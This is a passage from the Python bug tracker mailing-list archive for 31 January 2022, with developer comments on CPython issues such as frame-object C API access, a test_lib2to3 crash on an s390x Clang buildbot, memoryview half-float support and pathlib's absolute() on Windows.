(Fedora 24 or later, for example) no longer do so. I expect that 31-bit s390 Linux Python is really unusual these days, so removing it could still be fine, but lack of support from the GNU toolchain or the Linux kernel is not the correct justification for its removal. If you have questions about the maintenance status of various parts of the GNU toolchain, please feel free to reach out to any of the GNU lists. https://gcc.gnu.org/mailman/listinfo/gcc https://sourceware.org/mailman/listinfo/binutils https://sourceware.org/mailman/listinfo/libc-alpha ---------- nosy: +fweimer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 07:23:26 2022 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 31 Jan 2022 12:23:26 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1643631806.77.0.622524879387.issue46355@roundup.psfhosted.org> Change by Petr Viktorin : ---------- nosy: +petr.viktorin nosy_count: 2.0 -> 3.0 pull_requests: +29215 pull_request: https://github.com/python/cpython/pull/31032 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 07:27:47 2022 From: report at bugs.python.org (Petr Viktorin) Date: Mon, 31 Jan 2022 12:27:47 +0000 Subject: [issue46355] [C API] Document PyFrameObject and PyThreadState changes and explain how to port code to Python 3.11 In-Reply-To: <1641996684.93.0.427230565464.issue46355@roundup.psfhosted.org> Message-ID: <1643632067.95.0.426367206727.issue46355@roundup.psfhosted.org> Petr Viktorin added the comment: > I would hope that competent C programmers would know not to read or write to undocumented fields. But if they come from a Python background, that might not be obvious. Tread carefully when changing decades-old API, documented or not. The docs weren't always as useful and complete as they are now. > If the advice for something is "use Python", we should probably add an API function. Not really. If PyObject_GetAttrString doesn't add too much overhead, IMO it's fine to use it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 08:06:25 2022 From: report at bugs.python.org (Jonatan Skogsfors) Date: Mon, 31 Jan 2022 13:06:25 +0000 Subject: [issue46592] Undocumented behavior in strptime for ISO week dates Message-ID: <1643634385.9.0.941412208624.issue46592@roundup.psfhosted.org> New submission from Jonatan Skogsfors : Consider the following code : Python 3.10.2 (main, Jan 31 2022, 12:03:48) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from datetime import datetime >>> datetime.strptime("2021-53-1", "%Y-%W-%w").strftime("%c") 'Mon Jan 3 00:00:00 2022' And also: >>> datetime.strptime("2021-53-1", "%G-%V-%u").strftime("%c") 'Mon Jan 3 00:00:00 2022' 2021 is a "short year" with 52 weeks (e.g. since December 31 is on a Friday). The 53rd week of 2021 is interpreted by Python as week 1 of 2022. This can be convenient but as I understand it, it is not a part of ISO 8601 and it is not documented as a deviation in the documentation for datetime. As a comparison, the special behavior of week 0 (also not part of ISO 8601) is documented. In the documentation for format directive "%W" it is stated that "All days in a new year preceding the first Monday are considered to be in week 0." If the behavior for week 53 is intended (as opposed to raising an error) I think it should be documented. ---------- components: Library (Lib) messages: 412200 nosy: Jonatan Skogsfors priority: normal severity: normal status: open title: Undocumented behavior in strptime for ISO week dates type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 08:18:52 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 31 Jan 2022 13:18:52 +0000 Subject: [issue46592] Undocumented behavior in strptime for ISO week dates In-Reply-To: <1643634385.9.0.941412208624.issue46592@roundup.psfhosted.org> Message-ID: <1643635132.29.0.804045645028.issue46592@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +belopolsky, p-ganssle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 08:45:10 2022 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 31 Jan 2022 13:45:10 +0000 Subject: [issue45413] Add install scheme for virtual environments In-Reply-To: <1633715402.49.0.434363843275.issue45413@roundup.psfhosted.org> Message-ID: <1643636710.04.0.460948959174.issue45413@roundup.psfhosted.org> Miro Hron?ok added the comment: I'll try to draft this change for Python 3.11. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 08:52:26 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 31 Jan 2022 13:52:26 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1643637146.2.0.774499920252.issue46329@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +29216 pull_request: https://github.com/python/cpython/pull/31033 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 09:23:59 2022 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 31 Jan 2022 14:23:59 +0000 Subject: [issue45413] Add install scheme for virtual environments In-Reply-To: <1633715402.49.0.434363843275.issue45413@roundup.psfhosted.org> Message-ID: <1643639039.52.0.594364841616.issue45413@roundup.psfhosted.org> Change by Miro Hron?ok : ---------- keywords: +patch pull_requests: +29217 stage: -> patch review pull_request: https://github.com/python/cpython/pull/31034 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 09:26:08 2022 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Mon, 31 Jan 2022 14:26:08 +0000 Subject: [issue45413] Add install scheme for virtual environments In-Reply-To: <1633715402.49.0.434363843275.issue45413@roundup.psfhosted.org> Message-ID: <1643639168.38.0.376903630772.issue45413@roundup.psfhosted.org> Miro Hron?ok added the comment: I've created a draft PR in https://github.com/python/cpython/pull/31034 It is still missing tests and I have not checked it on Windows, hence still a draft. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 09:58:25 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 Jan 2022 14:58:25 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643641105.29.0.318983657353.issue46542@roundup.psfhosted.org> STINNER Victor added the comment: test_lib2to3 crash if Python is built with clang when running test_all_project_files() of lib2to3.tests.test_all_fixers.Test_all. This test crash on processing the file: "Lib/lib2to3/tests/data/infinite_recursion.py". The GH-30855 change increased the usage of the stack memory when Python is built with clang: https://github.com/python/cpython/pull/30855#issuecomment-1024884758 * GCC allocates between 544 bytes (-O3) and 608 bytes (-Og) on the stack * clang allocates between 656 bytes (-O3) and 9200 bytes (Og) on the stack ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 10:20:50 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 31 Jan 2022 15:20:50 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643642450.13.0.13920298069.issue46554@roundup.psfhosted.org> Raymond Hettinger added the comment: I concur with Serhiy. ---------- nosy: +pitrou, rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 10:29:00 2022 From: report at bugs.python.org (Antoine Pitrou) Date: Mon, 31 Jan 2022 15:29:00 +0000 Subject: [issue46593] memoryview lacks support for half floats Message-ID: <1643642940.05.0.703714910656.issue46593@roundup.psfhosted.org> New submission from Antoine Pitrou : The struct module has support for half-floats (the "e" format code) but support is not fully enabled in the memoryview object. Let's contrast float32 (the "f" format code), which you can cast to, and read as Python objects: >>> a = np.array([0.0, -1.5], np.float32()) >>> list(memoryview(a)) [0.0, -1.5] >>> memoryview(a.tobytes()).cast('f').tolist() [0.0, -1.5] and float16, where support is minimal (casting forbidden, reading as Python objects unimplemented): >>> a = np.array([0.0, -1.5], np.float16()) >>> list(memoryview(a)) Traceback (most recent call last): File "", line 1, in list(memoryview(a)) NotImplementedError: memoryview: format e not supported >>> memoryview(a.tobytes()).cast('e').tolist() Traceback (most recent call last): File "", line 1, in memoryview(a.tobytes()).cast('e').tolist() ValueError: memoryview: destination format must be a native single character format prefixed with an optional '@' ---------- components: Interpreter Core messages: 412205 nosy: mark.dickinson, meador.inge, pitrou priority: normal severity: normal stage: needs patch status: open title: memoryview lacks support for half floats type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 10:51:18 2022 From: report at bugs.python.org (Aaron Gokaslan) Date: Mon, 31 Jan 2022 15:51:18 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643644278.66.0.388882134234.issue46166@roundup.psfhosted.org> Aaron Gokaslan added the comment: We didn't want to read colocalsplus directly because we were worried about the stability of that approach and the code complexity / readability. Also, I wasn't aware that colocalsplus would work or if that was lazily populated as well. The functions used in CPython to extract the args from colocalsplus do not seem to be public and would need to be reimplemented by PyBind11, right? That seems very brittle as try to support future Python versions and may break in the future. Having a somewhat stable C-API to query this information seems like it would be the best solution, but I am open to suggestions on how to best proceed. How would you all recommend PyBind11 proceed with supporting 3.11 if not a C-API addition? The PyBind11 authors want to resolve this before the API becomes too locked down for 3.11. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 10:54:50 2022 From: report at bugs.python.org (Dong-hee Na) Date: Mon, 31 Jan 2022 15:54:50 +0000 Subject: [issue46593] memoryview lacks support for half floats In-Reply-To: <1643642940.05.0.703714910656.issue46593@roundup.psfhosted.org> Message-ID: <1643644490.05.0.862534686703.issue46593@roundup.psfhosted.org> Change by Dong-hee Na : ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 10:57:49 2022 From: report at bugs.python.org (Steve Dower) Date: Mon, 31 Jan 2022 15:57:49 +0000 Subject: [issue45220] Windows builds sometimes fail on Azure and GitHub Action: fatal error RC1116: RC terminating after preprocessor errors In-Reply-To: <1631803516.52.0.769978805951.issue45220@roundup.psfhosted.org> Message-ID: <1643644669.96.0.196986799385.issue45220@roundup.psfhosted.org> Steve Dower added the comment: It was not backported to 3.8 because that's in security fix only mode. ---------- versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:17:45 2022 From: report at bugs.python.org (Aaron Gokaslan) Date: Mon, 31 Jan 2022 16:17:45 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643645865.23.0.0240911597695.issue46166@roundup.psfhosted.org> Aaron Gokaslan added the comment: `PyCodeObject_GetVariableName()` and `PyCodeObject_GetVariableKind()` work? - Some public-gettters such as these functions would be ideal. OOI, how do you cope with non-local self? - We only care about checking self to prevent an infinite recursion in our method dispatch code so I am not sure a non-local self would be applicable in this case? Correct me if I am wrong. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:22:37 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 31 Jan 2022 16:22:37 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643646157.27.0.00361062845479.issue46542@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: -sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:32:05 2022 From: report at bugs.python.org (sc1341) Date: Mon, 31 Jan 2022 16:32:05 +0000 Subject: [issue42844] Turtle Module -- "onclick" arguments enchancement In-Reply-To: <1609952412.13.0.0764333219073.issue42844@roundup.psfhosted.org> Message-ID: <1643646725.65.0.964772389973.issue42844@roundup.psfhosted.org> Change by sc1341 : ---------- pull_requests: -22972 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:31:46 2022 From: report at bugs.python.org (sc1341) Date: Mon, 31 Jan 2022 16:31:46 +0000 Subject: [issue42844] Turtle Module -- "onclick" arguments enchancement In-Reply-To: <1609952412.13.0.0764333219073.issue42844@roundup.psfhosted.org> Message-ID: <1643646706.91.0.896811879117.issue42844@roundup.psfhosted.org> Change by sc1341 : Removed file: https://bugs.python.org/file49723/on_click_arguments_example.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:35:25 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 Jan 2022 16:35:25 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643646925.59.0.799201967846.issue46542@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +29218 pull_request: https://github.com/python/cpython/pull/31035 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:46:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 Jan 2022 16:46:43 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643647603.67.0.418975531911.issue46542@roundup.psfhosted.org> STINNER Victor added the comment: The regression was introduced by GH-30855: "bpo-46329: Split calls into precall and call instructions" (commit 89fd7c34520aac493a8784a221366ed04452612b). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 11:51:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 Jan 2022 16:51:02 +0000 Subject: [issue46166] Get "self" args or non-null co_varnames from frame object with C-API In-Reply-To: <1640288010.25.0.698839040509.issue46166@roundup.psfhosted.org> Message-ID: <1643647862.12.0.241650052879.issue46166@roundup.psfhosted.org> STINNER Victor added the comment: It would be nice to have a PyFrame_GetVariable(frame, "self") function: get the value of the "frame" variable of the specified frame object. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:13:05 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 31 Jan 2022 17:13:05 +0000 Subject: [issue42784] issues with object.h includes In-Reply-To: <1609314265.69.0.183951284891.issue42784@roundup.psfhosted.org> Message-ID: <1643649185.04.0.348785137714.issue42784@roundup.psfhosted.org> Irit Katriel added the comment: Another workaround is for you to rename object.h in your project. ---------- nosy: +iritkatriel resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:13:32 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 Jan 2022 17:13:32 +0000 Subject: [issue42784] issues with object.h includes In-Reply-To: <1609314265.69.0.183951284891.issue42784@roundup.psfhosted.org> Message-ID: <1643649212.56.0.239419544376.issue42784@roundup.psfhosted.org> STINNER Victor added the comment: There is an on-going work to move more and more header files into Include/cpython/ subdirectory, or even to the Include/internal/ directory. Examples: * bpo-35134: Move cellobject.h, classobject.h, context.h, funcobject.h, genobject.h and longintrepr.h to Include/cpython/ * bpo-45434: Move pystrhex.h to Include/internal/ C extensions must only use #include "Python.h": https://docs.python.org/dev/c-api/intro.html#api-includes Sadly, many project include directly "inner" header files like "longobject.h" and so this ong-going work break a few projects at each Python 3.x release. In the meanwhile, you can reorder your include paths to put your project first, or rename object.h to different filename. --- Yeah, if it wouldn't break any C extension, I would prefer to "hide" all "inner" files under a sub-directory, or by renaming them. But right now, it's possible. ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:22:16 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 31 Jan 2022 17:22:16 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1643649736.64.0.582115184724.issue45953@roundup.psfhosted.org> Eric Snow added the comment: > Any chance we could revert the recent renaming of tstate.exc_state and tstate.root_cframe Yeah, I'll sort this out. Sorry for that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:29:49 2022 From: report at bugs.python.org (Sebastian Berg) Date: Mon, 31 Jan 2022 17:29:49 +0000 Subject: [issue46451] Tracing causes module globals to be mutated when calling functions from C In-Reply-To: <1642740862.08.0.497751420234.issue46451@roundup.psfhosted.org> Message-ID: <1643650189.94.0.653010817117.issue46451@roundup.psfhosted.org> Change by Sebastian Berg : ---------- title: Possibly bad interaction with tracing and cython? -> Tracing causes module globals to be mutated when calling functions from C _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:46:23 2022 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Mon, 31 Jan 2022 17:46:23 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643651183.49.0.329912138435.issue46542@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset ee0ac328d38a86f7907598c94cb88a97635b32f8 by Victor Stinner in branch 'main': bpo-46542: test_lib2to3 uses support.infinite_recursion() (GH-31035) https://github.com/python/cpython/commit/ee0ac328d38a86f7907598c94cb88a97635b32f8 ---------- nosy: +lukasz.langa _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:47:01 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 31 Jan 2022 17:47:01 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643651221.05.0.83689629734.issue46542@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29219 pull_request: https://github.com/python/cpython/pull/31036 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 12:47:05 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 31 Jan 2022 17:47:05 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643651225.18.0.198050147551.issue46542@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29220 pull_request: https://github.com/python/cpython/pull/31037 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 13:57:11 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 31 Jan 2022 18:57:11 +0000 Subject: [issue46372] int/float specializations should mutate the LHS in-place when possible In-Reply-To: <1642142548.34.0.279604179898.issue46372@roundup.psfhosted.org> Message-ID: <1643655431.1.0.0109343167558.issue46372@roundup.psfhosted.org> Guido van Rossum added the comment: Since we decided to wait on the int operations while longobject.c is being refactored (https://github.com/faster-cpython/ideas/issues/245), can you clarify whether the speedup reported is from code where it is implemented only for floats, or is it from a prototype where it's implemented for floats and ints? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 14:55:00 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 31 Jan 2022 19:55:00 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1643658900.43.0.40485240222.issue45953@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +29221 pull_request: https://github.com/python/cpython/pull/31038 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 15:03:53 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 31 Jan 2022 20:03:53 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643659433.09.0.788080926589.issue46542@roundup.psfhosted.org> miss-islington added the comment: New changeset 30463860796790d3be97b76744290e4c364ad765 by Miss Islington (bot) in branch '3.9': bpo-46542: test_lib2to3 uses support.infinite_recursion() (GH-31035) https://github.com/python/cpython/commit/30463860796790d3be97b76744290e4c364ad765 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 15:03:53 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 31 Jan 2022 20:03:53 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643659433.09.0.788080926589.issue46542@roundup.psfhosted.org> miss-islington added the comment: New changeset 30463860796790d3be97b76744290e4c364ad765 by Miss Islington (bot) in branch '3.9': bpo-46542: test_lib2to3 uses support.infinite_recursion() (GH-31035) https://github.com/python/cpython/commit/30463860796790d3be97b76744290e4c364ad765 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 15:03:53 2022 From: report at bugs.python.org (miss-islington) Date: Mon, 31 Jan 2022 20:03:53 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643659433.4.0.321633748008.issue46542@roundup.psfhosted.org> miss-islington added the comment: New changeset 34794517d1380e206fbbc9735b8aaaf07a5237ce by Miss Islington (bot) in branch '3.10': bpo-46542: test_lib2to3 uses support.infinite_recursion() (GH-31035) https://github.com/python/cpython/commit/34794517d1380e206fbbc9735b8aaaf07a5237ce ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 15:46:51 2022 From: report at bugs.python.org (STINNER Victor) Date: Mon, 31 Jan 2022 20:46:51 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643662011.7.0.989209038174.issue46542@roundup.psfhosted.org> STINNER Victor added the comment: s390x Fedora Clang 3.x buildbot is back to green, I close the issue. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 16:02:58 2022 From: report at bugs.python.org (Brett Cannon) Date: Mon, 31 Jan 2022 21:02:58 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643662978.49.0.207318455322.issue29688@roundup.psfhosted.org> Brett Cannon added the comment: @eryksun I'm not seeing what's wrong with your example. Would you mind pointing out what you expect the result to be? And are you saying on Windows you have to resolve the drive separately from the working directory and then concatenate them? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 17:07:25 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 31 Jan 2022 22:07:25 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643666845.49.0.827806098633.issue29688@roundup.psfhosted.org> Eryk Sun added the comment: > I'm not seeing what's wrong with your example. "C:" or "C:spam\\eggs" are not absolute paths. They depend on the effective working directory on the drive. An absolute path should never depend on a working directory, which can change at random. WinAPI SetEnvironmentVariableW() allows applications to set environment variables with names that begin with "=". These names are effectively reserved for special use by the OS, at least as documented. In particular, names of the form "=X:", where "X" is a drive letter, are used to store the working directory on a drive. The C runtime _[w]chdir() function sets these per-drive environment variables, as does Python's os.chdir(). As environment variables, they can be inherited by child processes. When then Windows API resolves a file path to access a file, or in GetFullPathNameW(), a drive-relative path such as "X:" or "X:spam\\eggs" is resolved against either the current working directory (if it's on the drive) or the value of the "=X:" environment variable for the drive. If the latter isn't defined, it defaults to the root directory, e.g. "X:\\". If the current working directory is on the drive, the system updates the value of the "=X:" environment variable, if it exists. > on Windows you have to resolve the drive separately from the > working directory and then concatenate them? Yes, if self.drive is defined. This would be handled by os.path.abspath(self.drive), which calls WinAPI GetFullPathNameW(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 17:09:07 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 31 Jan 2022 22:09:07 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643666947.72.0.0110112547334.issue29688@roundup.psfhosted.org> Change by Eryk Sun : ---------- Removed message: https://bugs.python.org/msg412220 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 17:11:30 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 31 Jan 2022 22:11:30 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643667090.12.0.77331228807.issue29688@roundup.psfhosted.org> Eryk Sun added the comment: > I'm not seeing what's wrong with your example. "C:" or "C:spam\\eggs" are not absolute paths. They depend on the effective working directory on the drive. An absolute path should never depend on a working directory, which can change at random. WinAPI SetEnvironmentVariableW() allows applications to set environment variables with names that begin with "=". These names are effectively reserved for special use by the OS, at least as documented. In particular, names of the form "=X:", where "X" is a drive letter, are used to store the working directory on a drive. The C runtime _[w]chdir() function sets these per-drive environment variables, as does Python's os.chdir(). As environment variables, they can be inherited by child processes. When then Windows API resolves a file path to access a file, or in GetFullPathNameW(), a drive-relative path such as "X:" or "X:spam\\eggs" is resolved against either the current working directory (if it's on the drive) or the value of the "=X:" environment variable for the drive. If the latter isn't defined, it defaults to the root directory, e.g. "X:\\". If the current working directory is on the drive, the system updates the value of the "=X:" environment variable, if it exists. > on Windows you have to resolve the drive separately from the > working directory and then concatenate them? No, if self.drive is defined, then abspath(self.drive) should be called instead of getcwd(). In Windows, ntpath.abspath() calls WinAPI GetFullPathNameW(), which resolves the working directory on the drive. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 17:19:42 2022 From: report at bugs.python.org (Barney Gale) Date: Mon, 31 Jan 2022 22:19:42 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643667582.2.0.518184216137.issue29688@roundup.psfhosted.org> Barney Gale added the comment: @eryksun thanks for flagging, a couple thoughts: I'd imagine that bug is reproducible with `Path('C:\\Temp', 'C:')` already, right? If that's the case, should it logged as a separate issue? I'm planning to /experimentally/ throw away pathlib's internal path parsing logic and defer to `posixpath` / `ntpath` instead. I suspect this bug and others will be fixed by that change, but I need to see what the performance impact will be. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 18:20:11 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 31 Jan 2022 23:20:11 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1643671211.56.0.533944706707.issue29688@roundup.psfhosted.org> Eryk Sun added the comment: > I'd imagine that bug is reproducible with `Path('C:\\Temp', 'C:')` > already, right? If that's the case, should it logged as a > separate issue? Yes, it's a separate issue that affects the _from_parts() call in absolute(). How about designing absolute() to create a new instance from an absolute path that's created by os.path? For example: join(abspath(self.drive) if self.drive else getcwd(), self) Of course use accessor functions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 18:21:47 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Mon, 31 Jan 2022 23:21:47 +0000 Subject: [issue46594] Windows "Edit with IDLE >" only has one selection Message-ID: <1643671307.89.0.0253325125686.issue46594@roundup.psfhosted.org> New submission from Terry J. Reedy : I have Python and hence IDLE 3.8, 3.9, 3.10, and 3.11 installed. When I right click a .py file, and then on "Edit with IDLE >" the sub-menu only has '3.11.0a4' listed. This negates the purpose of having a submenu. I did some search of previous issues and see a) that I have had more than one version listed before, but b) there have been previous issues with some missing. I don't know if #27603 has any relevance. I discovered this when investigating the report at https://stackoverflow.com/questions/70931009/cant-open-py-files-in-idle-on-desktop-with-python-3-10-2 For that, clicking on the submenu worked for 3.9 but not after upgrading to 3.10. Clicking for me opened the file, but there was only one choice. ---------- components: Installation, Windows messages: 412224 nosy: paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Windows "Edit with IDLE >" only has one selection type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 18:32:55 2022 From: report at bugs.python.org (Brandt Bucher) Date: Mon, 31 Jan 2022 23:32:55 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643671975.29.0.443894652162.issue46528@roundup.psfhosted.org> Change by Brandt Bucher : ---------- pull_requests: +29222 pull_request: https://github.com/python/cpython/pull/31039 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 19:13:03 2022 From: report at bugs.python.org (Eryk Sun) Date: Tue, 01 Feb 2022 00:13:03 +0000 Subject: [issue46594] Windows "Edit with IDLE >" only has one selection In-Reply-To: <1643671307.89.0.0253325125686.issue46594@roundup.psfhosted.org> Message-ID: <1643674383.36.0.172918821218.issue46594@roundup.psfhosted.org> Eryk Sun added the comment: Check your settings in the registry. In "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" there should be a ".py" key, but not necessarily. It should have an "OpenWithList" subkey that contains an "MRUList" value (most recently used list). The value should be a sequence of letters, each of which should be a value name in the key. If the launcher was last used to open a ".py" file, the first letter in the list should be a value with the data "py.exe". Ideally there should also be a subkey named "UserChoice" that contains a 